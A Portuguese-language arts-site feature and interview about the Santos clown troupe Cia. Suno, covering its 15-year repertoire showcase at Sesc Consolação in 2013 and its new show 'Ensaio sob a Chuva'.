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E com Vocês...

“Ensaio Sob a Chuva”: nova peça da Cia. Suno

 

 

Helena Figueira e Duba Becker com a mala como se fosse biombo em "Estripulias do Circo" / Fotos Asa Campos

 

Palhaços santistas internacionais 

Bruna Galvão

Foi do esperanto, língua criada em fins do século 19 com o intuito de se tornar um idioma universal, que veio a luz para o nome da companhia: Suno (a palavra significa “Sol” em esperanto). Nome bem propício para o grupo que há 15 anos brilha nos mais diversos palcos do Brasil e do mundo e estreiou nova peça em 6/7 no Sesc Consolação: “Ensaio sob a Chuva”.

 

Duba Becker e seu filho após o espetáculo "O Circo de Um Homem Só"

 

A Cia. Suno apareceu pela primeira vez na cidade paulista de Santos, com a ideia de pesquisar o teatro de absurdo. Porém, seus integrantes logo sentiram a necessidade de explorar a linguagem do circo. “Como eu já tinha uma vivência intensa em palhaço na França, decidimos mergulhar nesse universo”, conta ao site Panis & Circus a atriz Helena Figueira, uma das componentes da Companhia Suno, ao lado do acrobata Duba Becker.

 

Duba Becker tira água do jornal em mágica no espetáculo "O Circo de um Homem Só"

 

Desde então, a poesia do circo, expressa pelos palhaços de Helena e Duba e também por atores convidados, transfere o sentimento nostálgico do ambiente circense aos espetáculos da Cia. Suno. Montagens como “O Circo de Um Homem Só”, “Despautérios”, “O Buraco” e “A Bailarina e o Palhaço” integram o repertório histórico da trupe e foram apresentadas durante o mês de junho de 2013 no Sesc Consolação em comemoração aos 15 anos de estrada.

Nelas, temas como a solidão, o cotidiano, o infinito e o amor são abordados pela arte da companhia. No novo espetáculo inédito, que estreia em 6/7, intitulado “Ensaio sob a Chuva”, um dia chuvoso vira assunto para uma delicada brincadeira de seus palhaços.

 

"Ensaio sob a chuva" / Foto Divulgação

 

 

Repertório

Em 1/6, a Cia Suno apresentou os espetáculos “O Cientista e a Lua” e “Carpinteiros em Domicílio”. O primeiro trata de um cientista que ao observar as constelações encontra a Lua e se apaixona por ela. Tenta conquistá-la demonstrando seus talentos e experiências científicas. Enfrenta um rival de peso: o Sol. O espetáculo apresenta números de mágica, tecido, lira, malabarismo e acrobacia.

Em “Os Carpiteiros…”, dois palhaços, Fiorella e Sanduba, chegam em um monociclo e carregando materiais para iniciarem uma reforma. A partir daí acontecem palhaçadas, malabarismos com trena, contorção em escada, percussão em marmitas e mágicas com elementos do dia a dia.

 

"Carpinteiros em domicílio" fazem contorção em escada / Foto Divulgação

 

Em 8/6, foi a vez de mostrar “Despautérios” e “Sanduba Delivery”. A vida cotidiana de três palhaços longe dos picadeiros é o tema central de “Despautérios”, que tem direção de Domingos Montagner, do circo Zanni e do La Mínima e também ator global. Em “Sanduba”, o palhaco entra em cena com  sua bicicleta acrobática para atender os pedidos e fazer as entregas de sua lanchonete.

 

Duba Becker equilibra cadeiras no queixo na Mostra de Repertório da Cia. Suno / Foto Asa Campos

 

Em 15/6, a companhia destacou “O Circo de Um Homem Só” e “O Buraco”. Em um número solo, o acrobata e malabarista Duba Becker dá vida a um palhaço solitário que abandona o circo e tenta se adaptar à cidade grande. A palhaça Fiorella, uma palhaça acrobata, se vê no desafio de atravessar um buraco infinito andando em uma corda bamba.

Em 22/6, a Suno mostrou “Estripulias no Circo” e “A Bailarina e o Palhaço”. A narrativa se desenrola contando as estripulias da “Família Suno”, que passa pelo circo de cavalaria inglês, pelo circo chinês, pelo russo até explorar uma linhagem mais moderna e inusitada. Na plateia, Verônica Tamaoki, do Centro de Memória do Circo, aplaudiu o espetáculo. A “Bailarina e o Palhaço” mostra o clássico quadro de amor entre os dois personagens, representado por um adágio acrobático. 

 

"A Bailarina e o Palhaço" no palco do Sesc Consolação em 22/6 / Foto Divulgação

 

Em 29/6, o público assistiu a números de tecido, malabares, esquetes de palhaços, equilibrismo em arame ao som da Russo Jazz Band no Cabaré Cia., Suno e a uma palhaceata festiva em “Cortejo Suno”.  Além de se dedicar à arte circense nesses 15 anos de existência, a Cia. Suno assinou a coreografia da comissão de frente das Escolas de Samba X9 Santista (2008) e Gaviões da Fiel (2009, 2010, 2011, 2012 e 2013).

 

Duba Deker e seus chapéus no "Cabaré Cia Suno" / Foto Divulgação

 

Sensibilidade e talento fizeram a Cia. Suno representar o Brasil em países como Portugal, Espanha, França e Argentina nos anos de 2006 e 2007 a convite do Ministério do Turismo e da Embratur. “Foi um momento especial. Aprendemos muito nessas viagens”, comenta Helena.

Saiba mais sobre o grupo nesta entrevista exclusiva com Helena Figueira, em que a atriz revela detalhes e curiosidades sobre os 15 anos da Companhia Suno.

 

Pingue-pongue

Helena Figeira em "O Buraco" / Foto Divulgação

 

Panis & Circus – A Companhia Suno tem origem em Santos, com o intuito inicial de se debruçar sobre o teatro de absurdo. Hoje, passados 15 anos, há o predomínio de uma linguagem mais corporal. Como se deu essa passagem? O que motivou o grupo a ir atrás de outras vertentes teatrais?

Helena Figueira – No início, éramos um grupo de artistas a fim de criar um núcleo de pesquisa teatral na Baixada Santista. Começamos a pesquisa pelo teatro do absurdo, mas logo no primeiro ano percebemos que o que nos atraía realmente era a comicidade, o estranhamento, a plasticidade da cena. Como eu já tinha uma vivência intensa com a arte do palhaço na França, decidimos mergulhar neste universo. A partir disso nos tornamos um grupo de pesquisa de palhaço e, assim, permanecemos desde então.

Circus – Fale do nome “Suno”.

Helena Figueira – “Suno” é “Sol” em esperanto. A ideia é ter um nome universal. Em 1998, um dos atores do grupo, o João Paulo Pires (hoje na Trupe Olho da Rua) estudava esperanto e sugeriu o nome.  Achamos divertido que alguém em 98 ainda se i nteressasse em aprender esperanto. Aceitamos a sugestão, que permanece até hoje.

 

História do circo é contada pela "Família Suno" e passa pelo circo de cavalaria inglesa / Foto Asa Campos

 

Circus – A Companhia Suno é formada por atores cênicos e acrobatas. Qual a importância dessa mistura nos espetáculos?

Helena Figueira –  A fusão é essencial para a nossa construção de cena. O que mais nos interessa em processo de criação é o que cada artista tem para oferecer dentro da sua linguagem e pesquisa. Isso ajuda a criar a identidade do grupo e valoriza a individualidade de cada um. A ideia desde o início era de troca, e assim permanecemos. Cada um oferece um pouco para que a gente crie junto e aprenda a cada novo projeto.

 

Tradicional número de equilíbrio dos pratos característica do circo chinês / Foto Asa Campos

 

Circus – A poesia faz parte dos espetáculos de vocês, seja por meio de temas que tratam da natureza (como “O Cientista e a Lua”), seja por abordar a solidão (como “O Circo de Um Homem Só”), ou ainda, pelo simples fato de tratar com delicadeza o amor, o cotidiano. Comente a ligação entre a poesia e o circo.

Helena Figueira –  O circo por si só já tem uma carga de nostalgia, saudosismo e muita poesia. Mesmo quando um palhaço lida com situações cotidianas, há poesia, do jeito do palhaço, mas há.

Circus – Como o grupo escolheu o repertório que ficou em cartaz no Sesc Consolação em junho de 2013 para celebrar os 15 anos da Cia. Suno?

Helena Figueira – Na mostra Cia. Suno – 15 Anos de Palhaçada, estão oito espetáculos da companhia voltados para a linguagem do palhaço, que retratam a evolução de pesquisa da companhia Suno.  O “Cabaré” foi apresentado com convidados que são parceiros, amigos e que têm trabalhos que são referências para a pesquisa do grupo. Apresentamos o “Cortejo” com participação de vários artistas que fizeram parte da história da companhia. Por sermos um grupo de pesquisa, as pessoas que passam um tempo conosco acrescentam informações e trocam experiências. Nestes dois espetáculos trouxemos alguns parceiros.

 

Helena Figueira, Duba Becker e Léo Mologni em "Estripulias do Circo" / Foto Asa Campos

 

Circus – Qual a expectativa para a estreia do espetáculo “Ensaio sob a Chuva”?

Helena Figueira –  Neste projeto nos propomos a fazer uma encenação bem diferente do que estamos acostumados. Com menos palavra e mais corpo. É um projeto que nos coloca em risco, tira do conforto e por isso é desafiador e prazeroso. Estamos ansiosos e animados. Tem muita gente bacana envolvida no trabalho.

Representantes da arte brasileira

Circus – Vocês foram convidados a representar a arte brasileira em Portugal, na Espanha e na Argentina. Como surgiu o convite por parte do Ministério do Turismo e da Embratur? Qual o peso dele para vocês?

Helena Figueira –  Foi um momento especial. O convite surgiu quando o então presidente da Embratur, Eduardo Sanovich, em 2006, conheceu o trabalho da Cia. Suno e achou que poderíamos representar bem a arte brasileira e apresentá-la para o mundo. Junto com a gente, também havia uma banda e uma dançarina. Cada grupo fazia sua apresentação isoladamente. A gente participava de eventos com artistas do mundo todo. Foi intenso e incrível. Aprendemos muito nestas viagens.

 

Duba Becker e Helena Figueira / Foto Asa Campos

 

Circus – Nestes 15 anos, por onde o grupo já andou? Como tem sido a reação do público nesses lugares?

Helena Figueira –  Viajamos por tantas cidades… A maioria, no Estado de São Paulo. Fomos também para a França, a Espanha, Portugal e a Argentina. O público sempre participa muito. Lógico que em cada país o comportamento é diferente, mas sempre receptivo.

 

Sob a direção de Domingos Montagner

Circus – Existe algum espetáculo ou momento que destaca na carreira da companhia?

Helena Figueira –  O “Despautérios”, que estreou em Taubaté, em maio de 2009, foi um espetáculo que marcou uma nova fase da Companhia. Nele surgiu a necessidade de desenvolver dramaturgia específica para palhaços. O Victor Nóvoa fazia mestrado em dramaturgia e desenvolveu este texto. Foi um processo diferente. Nele, nós contamos com a direção do Domingos Montagner, que foi o primeiro diretor convidado para um espetáculo nosso.

Normalmente gostamos de ter autonomia e dividir a direção dos espetáculos. Depois de “Despautérios” começamos a pensar mais em dramaturgia e também em ressaltar as características de cada artista do grupo, daí partimos para as pesquisas de espetáculos solos.

 

Helena Figueira, Verônica Tamaoki, do Centro de Memória do Circo, Duba Becker e Léo Mologni / Foto Asa Campos

 

 

 

Postagem: Alyne Albuquerque

 

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